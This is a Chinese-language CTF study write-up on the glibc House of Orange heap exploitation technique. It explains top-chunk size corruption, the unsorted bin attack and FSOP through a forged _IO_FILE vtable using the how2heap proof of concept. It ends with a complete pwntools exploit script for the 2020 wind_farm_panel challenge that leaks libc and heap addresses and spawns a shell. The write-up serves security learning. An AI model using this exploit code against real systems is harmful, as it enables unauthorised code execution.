House_of_orange 学习小结

House_of_orange学习小结

　　house_of_orange最早出现在2016年hitcon的一道同名题目，其利用效果，是当程序没有free函数的时候，我们可以通过一些方法，来让chunk被填入unsortbin中，成为一块被free的chunk，然后通过对_IO_FILE_plus.vtable的攻击，达到getshell的目的。

例子

　　以how2heap中的house_of_orange为例，来分析house_of_orange的利用过程，libc版本为2.23。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
");

    /*
      Firstly, lets allocate a chunk on the heap.
    */

    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    p2 = malloc(0x1000);

    io_list_all = top[2] + 0x9a8;
 
    top[3] = io_list_all - 0x10;

    /*
      At the end, the system function will be invoked with the pointer to this file pointer.
      If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
    */

    memcpy( ( char *) top, "/bin/shx00", 8);

    top[1] = 0x61;

    FILE *fp = (FILE *) top;


    /*
      1. Set mode to 0: fp->_mode <= 0
    */

    fp->_mode = 0; // top+0xc0


    /*
      2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
    */

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    /*
      4) Finally set the jump table to controlled memory and place system there.
      The jump table pointer is right after the FILE struct:
      base_address+sizeof(FILE) = jump_table

         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner
    */

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);

   /*
     The libc's error message will be printed to the screen
     But you'll get a shell anyways.
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

step1:　fake _free_chunk

　　  程序中，首先开辟了一块0x400大小的chunk。

p1 = malloc(0x400-16);

 　　 申请到的chunk和top chunk紧邻，我们再解释一下top chunk。

　　glibc为了减少内存开销，top chunk相当于提前分配出来的一块内存池，然后以后申请比较小的chunk时，直接从top chunk中进行申请。如果没有top chunk，每次申请堆块都要从内存中直接申请，内存的开销就会非常大。当top chunk不够用的时候，glibc就要通过brk再次切割一块内存到heap段，或者用mmap的方式从内存中再次映射出一块内存到进程中。

　　我们现在申请出了一块大小为0x400的chunk，这时候，假设我们存在一个堆溢出，可以修改到top chunk的size域。

top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;

 　　可以看到，top chunk的size域被修改了。由于内存映射的时候，是以内存页的形式进行映射的，内存页的大小就是0x1000字节，所以在本例中，溢出修改top chunk的size域的时候，大小只能修改为0xc00，0x1c00，0x2c00等等。修改完top chunk的size域之后，申请一块大于0xc00大小的chunk。

p2 = malloc(0x1000);

 　　这时候，old top chunk就被释放到了unsortedbin中，heap段也进行了brk拓展。

　　如果开始不修改top chunk的size域大小的话，glibc会通过mmap直接从内存中映射出一块内存地址，这时候无法达到fake free的效果。

　　将chunk填入unsortedbin之后，就要用到unsortedbin attack和_IO_FILE_的一些知识来进行后续的利用了。

step2：FSOP

　　FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构，称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建，并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。FILE结构体是包裹在_IO_FILE_plus中的，两个结构体定义如下：

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

　　进程中的FILE结构会通过_chain域彼此连接形成一个链表，链表头部用全局变量_IO_list_all表示，通过这个值可以遍历所有的FILE结构。包裹_IO_FILE结构的_IO_FILE_plus中，有一个重要的指针vtable，vtable指向了一系列处理_IO_FILE文件流的函数指针。实际上所有针对_IO_FILE_的攻击都是通过修改或者伪造vtable中的函数指针来实现的，因为类似fopen，fread，fwrite，printf，exit，malloc_printerr等对文件流进行操作的函数，最终的函数调用路径都会指向_IO_FILE_plus.vtable上的函数指针。

　　vtable指向的跳转表是一种兼容C++虚函数的实现。当程序对某个流进行操作的时候，会调用该流对应的跳转表中的某个函数，_IO_jump_t 结构体如下所示：

//glibc-2.23 ./libio/libioP.h
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

　　house_of_orange.c中通过偏移来确定了io_list_all的值，即main_arena+88与io_list_all的偏移相差0x9a8字节。

io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;

　　top在前面被定义为了old top chunk的地址，这里top[2]的值就是unsortedbin中fd指针的值。

 　　top[2]+0x9a8的地址处，就是全局变量_IO_list_all的地址，修改unsortedbin chunk的bk指针为_IO_list_all的值如图所示。

　　在本例中，最终实现攻击的大致思路如下：glibc中定义了打印内存报错信息的函数malloc_printerr，malloc_printerr中实际起作用的是__libc_message函数中定义了abort函数，abort函数在中止进程的时候，会调用_IO_flush_all_lockp遍历刷新所有的文件流，然后会调用_IO_FILE_plus.vtable中的_IO_OVERFLOW函数处理_IO_FILE结构体指针fp。我们在堆区伪造一个_IO_FILE_plus结构体，_IO_FILE_plus.vtable中_IO_OVERFLOW的函数指针修改为system函数地址，_IO_FILE结构体0字节偏移处改写为"sh"或者“/bin/sh”，这时候_IO_OVERFLOW(fp,EOF)就相当于调用system("/bin/sh")。

　　malloc_printerr函数调用链和具体代码实现如下：

malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW

　　malloc_printerr函数定义在malloc.c中，malloc_printerr中真正起作用的函数，是__libc_message，__libc_message函数被定义在libc_fatal.c中。

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s
", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***
",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

 　　__libc_message函数定义在libc_fatal.c文件中

void
__libc_message (enum __libc_message_action action, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

.......
if ((action & do_abort))
    {
      if ((action & do_backtrace))
    BEFORE_ABORT (do_abort, written, fd);

      /* Kill the application.  */
      abort ();
    }
}

　　abort()处理进程的时候，会调用_IO_flush_all_lockp遍历刷新所有的文件流，然后会调用_IO_FILE_plus.vtable中的_IO_overflow函数处理_IO_FILE结构体。

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);

        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

 　　试想一下，如果所有文件流中，有一个_IO_FILE结构体的0字节偏移处被改写为"sh"，将_IO_FILE_plus.vtable中的_IO_overflow函数指针改写为system函数的地址，这时候执行

_IO_OVERFLOW (fp, EOF) == EOF)

　　就相当于是执行：system("sh")。

　　满足一下三种情况的时候，有利用FSOP的可能：

　　1.当libc执行abort流程时；

　　2.当执行exit函数时；

　　3.当执行流从main函数返回时。

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)

    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;
    memcpy( ( char *) top, "/bin/shx00", 8);
    top[1]= 0x61;

　　在上面的例子中，修改了unsortedbin chunk的bk指针，让bk指针指向了_IO_list_all-0x10地址处，同时修改了unsortedbin chunk的size域为0x61。这时候如果重新申请chunk，会触发unsortedbin attack，这时候_IO_list_all的值被改写为main_arena+88，而unsortedbin由于不满足分配规则，会被分配到smallbin[4]这一条链表中，这时候chunk的fd指针和bk指针指向main_arena+168处，main_arena+194地址处保留指向smallbin chunk的指针。

　　main_arena+194和main_arena+88之间的偏移是0x61字节，对照上面的_IO_FILE结构体，可以看到_IO_FILE.chain和首地址之间的偏移正好是0x60。所以，就是说我们改写_IO_list_all的值，让_IO_list_all指向main_arena+88，然后mian_arena+194指向第二个_IO_FILE结构体，也就是我们布置伪造数据的这个smallbin chunk。我们构造好数据，满足利用条件，最终_IO_flush_all_lockp遍历链表，就可以getshell。

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)

　　伪造数据的流程如下：

　　  FILE *fp = (FILE *) top;    
    fp->_mode = 0; // top+0xc0
    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

 　　最终，malloc(10)分配失败，调用malloc_printerr函数，触发漏洞利用链，就可以实现getshell。

 例题：2020纵横杯 wind_farm_panel

 　　题目保护全开。

　　这道题就是一道典型的house_of_orange，菜单中没有free的选项，所以需要将top_chunk释放到unsortedbin中。程序菜单中实现的各个功能如下：

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init_0();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          v3 = read_int();
          if ( v3 != 2 )
            break;
          show_info(*(__int64 *)&argc, (__int64)argv);
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_13;
        setting();
      }
      if ( v3 != 3 )
        break;
      edit();
    }
    if ( v3 == 4 )
      break;
LABEL_13:
    *(_QWORD *)&argc = "Invalid!";
    puts("Invalid!");
  }
  puts("bye!");
  return 0;
}

　　添加堆块的功能如下，可以看到，我们申请的chunk可以小于0x1000字节，这时候在往chunk上读入内容的时候，就会存在一个堆溢出。

int setting()
{
  int size; // [rsp+8h] [rbp-8h]
  int idx; // [rsp+Ch] [rbp-4h]

  printf("Please enter the wind turbine to be turned on(0 ~ %d): ", 5LL);
  idx = read_int();
  if ( idx > 4 )
    return puts("There are no more wind turbines");
  if ( idx < 0 )
    return puts("Unvalidated Input");
  printf("Please input the maximum power of this wind turbine: ");
  size = read_int();
  if ( size <= 0x7F )
    return puts("Unvalidated Input");
  if ( size > 0xFFF )
  {
    puts("The maximum power of a wind turbine is 4096 kilowatts");
    size = 0x1000;
  }
  area[idx] = malloc(size);
  printf("Please write down the name of the person who opened it
Your name: ");
  read(0, area[idx], 0x1000uLL);
  return puts("Done!");
}

　　edit函数也一样，堆溢出。

int edit()
{
  int v1; // [rsp+8h] [rbp-8h]

  printf("Please modify your personal information.
Which turbine: ");
  v1 = read_int();
  if ( !area[v1] || v1 < 0 || v1 > 4 )
    return puts("Unvalidated Input");
  printf("Please input: ");
  read(0, area[v1], 0x1000uLL);
  return puts("Done");
}

　　打印堆块内容的函数如下：

int __fastcall show_info(__int64 a1, __int64 a2)
{
  unsigned int i; // [rsp+Ch] [rbp-4h]
  int v4; // [rsp+Ch] [rbp-4h]

  for ( i = 0; (int)i <= 4; ++i )
  {
    a2 = i;
    if ( area[i] )
      printf("[x1B[0;32m+x1B[0m]turbine[%d]: opened
", i);
    else
      printf("[x1B[0;31m-x1B[0m]turbine[%d]: closed
", i);
  }
  printf("Please select the number of the wind turbine to be viewed: ", a2);
  v4 = read_int();
  if ( v4 < 0 || v4 > 4 )
    return printf("Out of size");
  if ( !area[v4] )
    return puts("The wind turbine hasn't been turned on yet");
  printf("The operator of this wind turbine is ");
  printf("%s", area[v4]);
  return puts("Done!");
}

　　基本思路：通过堆溢出，修改top chunk的size域，将old top chunk填入unsortedbin链表中，然后通过打印函数，泄露处libc中的地址，得到main_arena的地址，然后再申请一块大于unsortedbin chunk的内存，将unsortedbin中的chunk填入到largebin中，通过打印largebin chunk中的内容，泄露出堆地址。然后重新构造堆块，再进行一次将top chunk填入unsortedbin chunk的操作，接下来的步骤就和调试house_of_orange.c的时候没有区别了。

from pwn import *
context.log_level='debug'
DEBUG=1
if DEBUG:
    p=process('./pwn')
else:
    p=remote('182.92.203.154','28452')

elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')

def setting(idx,size,content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('turned on(0 ~ 5): ')
    p.sendline(str(idx))
    p.recvuntil('wind turbine: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.send(content)

def edit(idx,content):
    p.recvuntil('>> ')
    p.sendline('3')
    p.recvuntil('turbine: ')
    p.sendline(str(idx))
    p.recvuntil('Please input: ')
    p.sendline(content)
    p.recvuntil('Done')

#----------------------------------------------libc leak address-----------------------------
#gdb.attach(p)
payload='a'*(0x400-16)+p64(0xa)+p64(0xc01)
setting(0,(0x400-16),payload)
setting(1,0x1000,'b'*0x1000)
#这里将old top chunk填入unsortedbin中
payload='a'*0x3f0+'a'*16
edit(0,payload)

p.recvuntil(">> ")
p.sendline('2')
p.recvuntil('be viewed: ')
p.sendline('0')
p.recvuntil('a'*0x400)
data=p.recvn(6)
main_arena=u64(data.ljust(8,'x00'))-0xa+0x78-88
libc_base=main_arena-libc.sym['main_arena']
system_addr=libc_base+libc.sym['system']
log.success('libc base address:%s'%hex(libc_base))
#泄露libc中地址，通过偏移计算libc基址，system函数地址，main_arena地址
#----------------------------------------------leak heap address-----------------------------------
# overwrite libc address
payload='a'*0x3f0+p64(0)+p64(0xbe1)+p64(main_arena+88)*2
edit(0,payload)
setting(2,0x1000,'c'*0x1000)
#构造largebin来泄露堆地址
# largebin
payload='a'*0x410
edit(0,payload)

p.recvuntil(">> ")
p.sendline('2')
p.recvuntil('be viewed: ')
p.sendline('0')
p.recvuntil('a'*0x410)
data=p.recvn(6)
heap_addr=u64(data.ljust(8,'x00'))-0xa
log.success('heap address:%s
'%hex(heap_addr))
#------------------------------------------------------FSOP------------------------------------------
payload='a'*0x3f0+p64(0)+p64(0x21000-0x400)+p64(main_arena+88)*2
edit(0,payload)
#重新构造出top chunk，再进行一次将top chunk分配到unsortedbin中的操作
#后续利用就是FSOP的套路了


payload='e'*0xe00+p64(0)+p64(0x1d1)
setting(2,0xe00,payload)
setting(1,0x1000,'a'*0x1000)

payload='a'*0xe00+"/bin/shx00"+p64(0x61)+p64(main_arena+88)+p64(main_arena+88+0x998)
payload+=p64(2)+p64(3)
payload+=p64(0)*9
payload+=p64(system_addr)
payload+=p64(0)*11
payload+=p64(heap_addr+0x23a30+0x60)
edit(2,payload)

p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('turned on(0 ~ 5): ')
p.sendline(str(4))
p.recvuntil('wind turbine: ')
p.sendline(str(0x1000))
p.interactive()

 　　结语：

　　回头再看house_of_orange，漏洞利用链的每个环节都设计的非常巧妙。当初能想出这种利用，真的是一种很天才的思维。

　　遗憾的是，随着glibc版本的迭代，glibc 2.24之后，有关_IO_FILE的保护机制又有了进一步的完善，glibc 2.29之后unsortedbin attack也完全失效，house_of_orange这种方法也无法再应对高版本的libc。但是学习这种利用姿势，也是加深了对文件流和gliibc内存管理的理解，开拓了思路。